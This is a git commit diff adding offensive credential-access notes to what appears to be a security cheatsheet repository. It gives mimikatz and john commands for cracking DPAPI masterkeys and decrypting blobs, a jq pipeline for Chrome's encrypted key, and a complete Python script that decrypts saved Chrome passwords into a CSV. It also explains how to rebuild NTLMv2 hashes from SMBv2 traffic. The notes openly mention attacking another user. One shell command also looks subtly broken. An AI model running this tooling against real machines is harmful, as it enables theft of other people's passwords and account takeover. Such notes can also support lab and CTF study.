added information about DPAPI decryption and reconstruction of NTLMv2 hashes through SMBv2 via Wireshark.
This commit is contained in:
		
							parent
							
								
									fc17f75721
								
							
						
					
					
						commit
						97317fcefa
					
				| 
						 | 
					@ -5,7 +5,166 @@
 | 
				
			||||||
* [tinyapps' replace and recover domian cached credentials](https://tinyapps.org/docs/domain-cached-credentials.html)
 | 
					* [tinyapps' replace and recover domian cached credentials](https://tinyapps.org/docs/domain-cached-credentials.html)
 | 
				
			||||||
* [ired's reading dpapi encrypted secrets with mimikatz and c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++)
 | 
					* [ired's reading dpapi encrypted secrets with mimikatz and c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Tools
 | 
					## Extract DPAPI Masterkey from AppData
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					First find the user passwords inside `C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<MasterkeyFile>`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					DPAPImk2john --sid <SID> --masterkey <PathToMasterKeyFile> --context local > hash.txt
 | 
				
			||||||
 | 
					john --wordlist=<wordlist> hash.txt
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Use mimikatz on windows to extract the masterkey after the password has been discovered.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					mimikatz
 | 
				
			||||||
 | 
					dpapi::masterkey /in:<AbsolutePathtoMasterKeyFile> /sid:<SID> /password:<password> /protected
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					This master key is used to derive keys for encryption or encrypt other keys
 | 
				
			||||||
 | 
					instead of just encrypting files directly through DPAPI.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Use a DPAPI Masterkey to Decrypt an Encrypted Blob
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The found masterkey can be used to decrypt encrypted data or even other keys
 | 
				
			||||||
 | 
					which are used for file encryption.
 | 
				
			||||||
 | 
					Use mimikatz to extract data/keys from an encrypted blob.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					mimikatz
 | 
				
			||||||
 | 
					dpapi::blob /in:<AbsolutePathtoEncryptedFile> /unprotect /masterkey:<FoundMasterkey> /out:"./decrypted_blob"
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Use of DPAPI in Google Chrome
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Google Chrome encrypts the key of which is used for password vaults of the
 | 
				
			||||||
 | 
					users. The `encrypted_key` inside a JSON file named `Local State` is an DPAPI
 | 
				
			||||||
 | 
					encrypted key. Get the key through using jq.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					jq .os_crypt.encrypted_key -r AppData/Local/Google/Chrome/User\ Data/\Local\ State
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The `encrypted_key` itself is encrypted through DPAPI. To decrypt it, base64
 | 
				
			||||||
 | 
					decode it at first and remove the first 5 characters, which are `DPAPI` from
 | 
				
			||||||
 | 
					the decoded string.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					jq .os_crypt.encrypted_key -r \
 | 
				
			||||||
 | 
					AppData/Local/Google/Chrome/User\ Data/\Local\ State | \
 | 
				
			||||||
 | 
					base64 -d | \
 | 
				
			||||||
 | 
					cut -c-6- > encrypted_key.dat
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					This `encrypted_key.dat` is used to encrypt data inside the sqlite database inside
 | 
				
			||||||
 | 
					`AppData/Local/Google/Chrome/User\ Data/Default/Login\ Data`.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```sh
 | 
				
			||||||
 | 
					mimikatz
 | 
				
			||||||
 | 
					dpapi::blob /in:"./encrypted_key.dat" /unprotect /masterkey:<FoundMasterkey> /out:"./decrypted.key"
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Decrypt the Database via a modified version of
 | 
				
			||||||
 | 
					[ohyicong](https://github.com/ohyicong/decrypt-chrome-passwords.git), depending
 | 
				
			||||||
 | 
					on the following circumstances.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Modify the secret_key function if you got the key through AppData and cannot log in as the user you want to attack
 | 
				
			||||||
 | 
					* Modify the column names of select query, depending on the version of Chrome
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					#Full Credits to LimerBoy
 | 
				
			||||||
 | 
					import os
 | 
				
			||||||
 | 
					import re
 | 
				
			||||||
 | 
					import sys
 | 
				
			||||||
 | 
					import json
 | 
				
			||||||
 | 
					import base64
 | 
				
			||||||
 | 
					import sqlite3
 | 
				
			||||||
 | 
					import win32crypt
 | 
				
			||||||
 | 
					from Cryptodome.Cipher import AES
 | 
				
			||||||
 | 
					import shutil
 | 
				
			||||||
 | 
					import csv
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#GLOBAL CONSTANT
 | 
				
			||||||
 | 
					CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE']))
 | 
				
			||||||
 | 
					CHROME_PATH = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE']))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def get_secret_key():
 | 
				
			||||||
 | 
					    with open('./decrypted.key', 'rb') as f:
 | 
				
			||||||
 | 
					        return f.read()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def decrypt_payload(cipher, payload):
 | 
				
			||||||
 | 
					    return cipher.decrypt(payload)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def generate_cipher(aes_key, iv):
 | 
				
			||||||
 | 
					    return AES.new(aes_key, AES.MODE_GCM, iv)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def decrypt_password(ciphertext, secret_key):
 | 
				
			||||||
 | 
					    try:
 | 
				
			||||||
 | 
					        #(3-a) Initialisation vector for AES decryption
 | 
				
			||||||
 | 
					        initialisation_vector = ciphertext[3:15]
 | 
				
			||||||
 | 
					        #(3-b) Get encrypted password by removing suffix bytes (last 16 bits)
 | 
				
			||||||
 | 
					        #Encrypted password is 192 bits
 | 
				
			||||||
 | 
					        encrypted_password = ciphertext[15:-16]
 | 
				
			||||||
 | 
					        #(4) Build the cipher to decrypt the ciphertext
 | 
				
			||||||
 | 
					        cipher = generate_cipher(secret_key, initialisation_vector)
 | 
				
			||||||
 | 
					        decrypted_pass = decrypt_payload(cipher, encrypted_password)
 | 
				
			||||||
 | 
					        decrypted_pass = decrypted_pass.decode()
 | 
				
			||||||
 | 
					        return decrypted_pass
 | 
				
			||||||
 | 
					    except Exception as e:
 | 
				
			||||||
 | 
					        print("%s"%str(e))
 | 
				
			||||||
 | 
					        print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
 | 
				
			||||||
 | 
					        return ""
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					def get_db_connection(chrome_path_login_db):
 | 
				
			||||||
 | 
					    try:
 | 
				
			||||||
 | 
					        print(chrome_path_login_db)
 | 
				
			||||||
 | 
					        shutil.copy2(chrome_path_login_db, "Loginvault.db")
 | 
				
			||||||
 | 
					        return sqlite3.connect("Loginvault.db")
 | 
				
			||||||
 | 
					    except Exception as e:
 | 
				
			||||||
 | 
					        print("%s"%str(e))
 | 
				
			||||||
 | 
					        print("[ERR] Chrome database cannot be found")
 | 
				
			||||||
 | 
					        return None
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					if __name__ == '__main__':
 | 
				
			||||||
 | 
					    try:
 | 
				
			||||||
 | 
					        #Create Dataframe to store passwords
 | 
				
			||||||
 | 
					        with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
 | 
				
			||||||
 | 
					            csv_writer = csv.writer(decrypt_password_file, delimiter=',')
 | 
				
			||||||
 | 
					            csv_writer.writerow(["index","url","username","password"])
 | 
				
			||||||
 | 
					            #(1) Get secret key
 | 
				
			||||||
 | 
					            secret_key = get_secret_key()
 | 
				
			||||||
 | 
					            #Search user profile or default folder (this is where the encrypted login password is stored)
 | 
				
			||||||
 | 
					            folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$",element)!=None]
 | 
				
			||||||
 | 
					            for folder in folders:
 | 
				
			||||||
 | 
					            	#(2) Get ciphertext from sqlite database
 | 
				
			||||||
 | 
					                chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data"%(CHROME_PATH,folder))
 | 
				
			||||||
 | 
					                conn = get_db_connection(chrome_path_login_db)
 | 
				
			||||||
 | 
					                if(secret_key and conn):
 | 
				
			||||||
 | 
					                    cursor = conn.cursor()
 | 
				
			||||||
 | 
					                    cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
 | 
				
			||||||
 | 
					                    for index,login in enumerate(cursor.fetchall()):
 | 
				
			||||||
 | 
					                        url = login[0]
 | 
				
			||||||
 | 
					                        username = login[1]
 | 
				
			||||||
 | 
					                        ciphertext = login[2]
 | 
				
			||||||
 | 
					                        if(url!="" and username!="" and ciphertext!=""):
 | 
				
			||||||
 | 
					                            #(3) Filter the initialisation vector & encrypted password from ciphertext
 | 
				
			||||||
 | 
					                            #(4) Use AES algorithm to decrypt the password
 | 
				
			||||||
 | 
					                            decrypted_password = decrypt_password(ciphertext, secret_key)
 | 
				
			||||||
 | 
					                            print("Sequence: %d"%(index))
 | 
				
			||||||
 | 
					                            print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
 | 
				
			||||||
 | 
					                            print("*"*50)
 | 
				
			||||||
 | 
					                            #(5) Save into CSV
 | 
				
			||||||
 | 
					                            csv_writer.writerow([index,url,username,decrypted_password])
 | 
				
			||||||
 | 
					                    #Close database connection
 | 
				
			||||||
 | 
					                    cursor.close()
 | 
				
			||||||
 | 
					                    conn.close()
 | 
				
			||||||
 | 
					                    #Delete temp login db
 | 
				
			||||||
 | 
					                    os.remove("Loginvault.db")
 | 
				
			||||||
 | 
					    except Exception as e:
 | 
				
			||||||
 | 
					        print("[ERR] %s"%str(e))
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Other Tools
 | 
				
			||||||
 | 
					
 | 
				
			||||||
* [tjldeneut's dpaping-lab](https://github.com/tijldeneut/dpapilab-ng.git)
 | 
					* [tjldeneut's dpaping-lab](https://github.com/tijldeneut/dpapilab-ng.git)
 | 
				
			||||||
* [BlackDiverX's unpacked cqtools]( https://github.com/BlackDiverX/cqtools)
 | 
					* [BlackDiverX's unpacked cqtools]( https://github.com/BlackDiverX/cqtools)
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
| 
						 | 
					@ -18,3 +18,22 @@ Search for the DNS requests containing the specific top level domain.
 | 
				
			||||||
```sh
 | 
					```sh
 | 
				
			||||||
tshark -r capture.pcapng  -Y 'dns && ip.dst==167.71.211.113 && (dns contains xyz)' -T fields -e dns.qry.name | awk -F '.' '{print $1}' | uniq > dns.out
 | 
					tshark -r capture.pcapng  -Y 'dns && ip.dst==167.71.211.113 && (dns contains xyz)' -T fields -e dns.qry.name | awk -F '.' '{print $1}' | uniq > dns.out
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## NTLMv2 hash Reconstruction via SMBv2
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Session setup of SMBv2 leaves enough information to reconstruct the NTLMv2 hash.
 | 
				
			||||||
 | 
					Take a look at the second and third packets of the initialization, namely
 | 
				
			||||||
 | 
					`Session Setup Response, Error: STATUS_MORE_PROCESSING_REQUIRED, NTLMSSP_CHALLENGE`
 | 
				
			||||||
 | 
					and `Session Setup Request, NTLMSSP_AUTH, User: <DOMAIN\USERNAME>`.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The scheme of an NTLMv2 hash is the following.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					[User name]::[Domain name]:[NTLM Server Challenge]:[NTProofStr]:[Rest of NTLMv2 Response]
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					The `NTLM Server Challenge` can be found inside the `Security Blob` of the
 | 
				
			||||||
 | 
					request from the server.
 | 
				
			||||||
 | 
					`User name`, `Domain name` and `NTLMv2 Response` can be found inside the
 | 
				
			||||||
 | 
					`Security Blob` inside the response sent by the client. `NTProofStr` is the
 | 
				
			||||||
 | 
					first part of the `NTLM Response`. Set a `:` between `NTProofStr` and the rest of the `NTLMv2 Response`.
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
		Loading…
	
		Reference in New Issue